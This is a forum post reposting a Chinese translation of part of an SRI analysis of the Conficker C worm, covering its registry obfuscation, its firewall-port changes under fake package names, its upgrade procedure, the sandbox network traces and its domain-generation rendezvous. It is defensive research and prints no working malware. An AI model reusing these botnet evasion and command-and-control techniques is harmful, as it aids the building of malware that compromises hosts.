下面的字符串被添加到注冊表中,以模糊的注冊表的netsvcs下配置的更改:
Boot, Center, Config, Driver, Helper, Image, Installer, Manager,
Microsoft, Monitor, Network, Security, Server, Shell, Support, System, Task, Time,
Universal, Update, Windows, Hardware, Control, Audit, Event, Notify, Backup, Trusted,
Component, Framework, Management, Browser, Machine, Logon, Power, Storage, Discovery,
Policy.
防火牆的禁止Firewall Disablement
爲了與外部主機的P2P通訊,變種C禁用並封鎖一些高階的TCP和UDP端口,在從GloballyOpenPorts注冊表項下列出打開端口後完成,這些端口在每次變種C初始化時確定一次
下面是一個Conficker C運行時修改注冊表的例子
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Glo
ballyOpenPorts\List, Value Name: 11930:TCP, New Value: 11930:TCP:*:Enabled:PackagesOffice
MSDownloaded

SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Glo
ballyOpenPorts\List, Value Name: 45436:TCP, New Value: 45436:TCP:*:Enabled:PackagesOffice
SpeechGames

SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Glo
ballyOpenPorts\List, Value Name: 48481:UDP, New Value: 48481:UDP:*:Enabled:PackagesOffice
PagesPages

SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Glo
ballyOpenPorts\List, Value Name: 57338:UDP, New Value: 57338:UDP:*:Enabled:PackagesOffice
MediaDistribution
可以很明顯地通過産品名稱,列出防火牆禁止的端口
如MSDownloaded, SpeechGames, MediaDistribution,以及 PagesPages.這些軟件包名稱都是假的,雖然它們看起來是良性的
全球網絡的影響Global Network Impact
近期顯示其最初的爆發會在2009年3月5日( UTC ),Conficker C的互聯網掃描産生了明顯影響,跟蹤變種C使用的通信端口,我們能夠從我們的蜜罐跟蹤變種C感染的蔓延。
按照下降Conficker的A / B /B+ + TCP/445的掃描來源,上升的變種C TCP 和 UDP P2P的掃描活動
我們可以準確地估計爆發時間和相對與以前版本的爆發規模 我們認爲,主要變種C的互聯網交彙點機制已經備案,據報道已經被封鎖,許多Conficker C的Win32可執行文件的例子,報道稱正在感染Conficker B的主機(我們還沒有報告表明Conficker A也在升級)
B主機收到文件時,載體申請執行下列動作:
1)它進行自我到期檢查並退出(我們偵測到72小時過期)
2)檢查機器上變種C 的具體互斥,表明這台機器已經升級,如果發現,載體退出
3)釋放一個臨時文件名標識的DLL到用戶臨時文件夾
4)使用rundll32.exe執行釋放的啓動變種C 的DLL
5)刪除自己(A/B/B++)
我們提供一個網絡流量分析,說明Conficker C升級的影響

"600") {     this.height = "600";   }}"");   }}" src="" />
顯示有一個顯著下降的TCP/445掃描活動和增長的變種C的掃描活動
根據我們的測量
第一波Conficker C升級始於太平洋標準時間2009年3月4日下午6時(格林尼治標準時間2時在2009年3月5日) 。
正如上8圖,我們可以看到這第一批升級影響大約20 %的Conficker主機,這些
升級發生在大約2009年3月5日UTC ,變種B的主機在這一天訪問自己的一套新的會合點
Conficker作者看起來已建立了一個提供C宿主應用程序的服務器,圖8還表明,第二次50%變種B的升級將發生在2009年3月17號左右
原位分析-沙盒行爲 In-Situ Analysis - Sandbox Operations
我們用動態沙盒監測技術,以評估Conficker C作業在互聯網上的相互作用。試驗不會對外界産生影響
我們描述了配置的Conficker C感染主機在30分鍾的沙盒行爲。由於 2009年3月前的實驗,我們沒有看到的HTTP會合點查找,我們原來確定這一活動應在4月1日
沙盤在4月1日前運行,我們看到下面的網絡效應,在圖9
DNS查詢的速度在10至25間每5分鍾間隔發生變化
我們還觀察到對以下網絡服務器查詢:
4shared.com,adobe.com, allegro.pl, ameblo.jp,answers.com, aweber.com, badongo.com,baidu.com. bbc.co.uk, blogfa.com, clicksor.com, comcast.net,cricinfo.com, disney.go.com, ebay.co.uk, facebook.com, fastclick.com,friendster.com, imdb.com, megaporn.com, megaupload.com, miniclip.com,mininova.org, ning.com, photobucket.com, rapidshare.com, reference.com,seznam.cz, soso.com, studiverzeichnis.com, tianya.cn, torrentz.com,tribalfusion.com, tube8.com, tuenti.com, typepad.com, ucoz.ru,veoh.com, vkontakte.ru,wikimedia.org, wordpress.com, xnxx.com,yahoo.com, and youtube.com.
P2P網絡查詢被送往隨機主機的高階端口
TCP每5分鍾 50-60台主機  UDP每5分鍾 240到2500的主機
失敗的TCP和UDP的嘗試也帶來了較高速度的ICMP反向訪問。這裏也有6個HTTP連接在頭個5分鍾內成功建立:tuenti.com,tianya.cn, miniclip.com, blogfa.com, answers.com 以及 rapidshare.com.
每一個都時GET請求頂端目錄(GET / HTTP/1.1). 應答時gzip編碼的HTML內容。
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application,
application/vnd.ms-xpsdocument, application/x-ms-xbap, */*
Accept-Language: en-GB
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR
1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Host: rapidshare.com
Connection: Keep-Alive
我們還創建了一個新的二進制文件變異,在4月1日這個日期變化的基礎上,上圖就是這個6小時的網絡跟蹤情況,該圖體現了大量HTTP, DNS, TCP P2P and UDP P2P活動
在DNS活動包括兩個組成部分:嘗試聯係500個會合點,以及設法聯係互聯網門戶網站查找日期
從這個活實驗運行追蹤,證實我們的靜態分析結果:
每一個C感染主機每天從超過116個頂級域名的一個單位熵(隨機域名空間)聯係500個會合點
我們看到,在查詢500個域名的IP活動後3小時,DNS 活動總體水平驟降
就我們而言這都是失敗的企圖,因爲這些域名都還沒有注冊
在第一個2小時內達到穩態掃描速率前,UDP和TCP中的P2P活動也下降了。



HTTP日期查詢活動穩定在每小時6-9個主機,但是返回的仍然是無效的結果
結論Conclusion
我們在(太平洋標準時間)在2009年3月4日6時分析的Conficker C的文案,這個變種包含了一些很重要的新功能,包括新的域名生成算法和新的P2P文件共享服務,不過我們的討論一直沒有提到衆所周知的攻擊傳播媒介(RCP緩沖區溢出, USB接口,和NetBIOS掃描),它們使C的前身充斥互聯網,雖然這些沒有在變種C中出現,但是這些攻擊傳播服務可能借由Peers出現在任何時候。
C事實上是一個在互聯網數以百萬計的電腦主機上上分發惡意內容和二進制文件的強大的和安全的分配工具。該工具包含一個有效防禦安全産品,更新以及診斷工具的方法。這進一步表明了Conficker的作者在保持其目前大量的已連接到互聯網主機的迅速響應和發展速度,此外,如果把它組織成一個協調的攻擊性武器,那麽這個百萬節點級的僵屍網絡將對互聯網構成嚴重可怕的威脅。
我們的報告代表了白帽(WhiteHat)中衆多對Conficker分析研究的其中之一,而且我們直接接觸衆多將報告更多的細節的群體,這樣將有助於澄清存在的這一報告中的錯誤。這份報告我們將定期更新,因爲我們對於變種C的理解還在繼續增加。
致謝Acknowledgments
我們要感謝SRI計算機科學實驗室的Drew Dean對於的二進制驗證例程的幫助,感謝來自微軟的Bruce Dang
協助關於互斥密鑰生成的研究,感謝得克薩斯大學奧斯汀分校的Arvind Narayanan(惡意軟件發展水平的分析工具見附件2)的合作
參考References
[4] P.A. Porras, H. Saidi, and V. Yegneswaran. "A Multiperspective Analysis of the Storm
Worm. SRI Technical Report, 2007. http://www.cyber-ta.or...ormWorm/

[12] Eric Chien, "Downadup: Peer-to-Peer Payload Distribution," 2009.
http://myitforum.com/cs2/blogs/cmosby/archive...peer-to-peer-payload-
distribution-symantec-security-response-blog.aspx

[15] Jose Nazario, "The Conficker Cabal Announced," Arbor Networks, 12 February 2009.
http://asert.arbornetworks.com/2009/0...cabal-announced/

[16] SRI International, "A Comparative Assessment of Conficker B++ vs Conficker C," 06
March 2008.
http:/mtc.sri.com/Conficker/addendumC/HMA_Compare_ConfB2_ConfC/

[17] CAIDA, "Conficker/Conflicker/Downadup as seen from the UCSD Network Telescope,"
February 2009.
http://www.caida.org/research/sec.../conficker.xml

附件 Appendices
附件1 變種C中嵌入的字符串
附件2 域名生成的地址過濾範圍(即黑名單)
附件3 變種B與變種C的比較
附件4 Conficker C的沙箱運行結果
附件5 API 恢複表(API Recovery Table)


[ 此文章被upside在2009-04-03 06:39重新編輯 ]



爸爸 你一路好走
獻花 x0 回到頂端 [樓 主] From:臺灣和信超媒體寬帶網 | Posted:2009-04-03 06:33 |
jolan 手機
個人文章 個人相簿 個人日記 個人地圖
小人物
級別: 小人物 該用戶目前不上站
推文 x2 鮮花 x10
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片

無以倫比的專業@@~


獻花 x0 回到頂端 [1 樓] From:歐洲 | Posted:2009-04-04 03:41 |

首頁  發表文章 發表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.042277 second(s),query:16 Gzip disabled
本站由 瀛睿律師事務所 擔任常年法律顧問 | 免責聲明 | 本網站已依台灣網站內容分級規定處理 | 連絡我們 | 訪客留言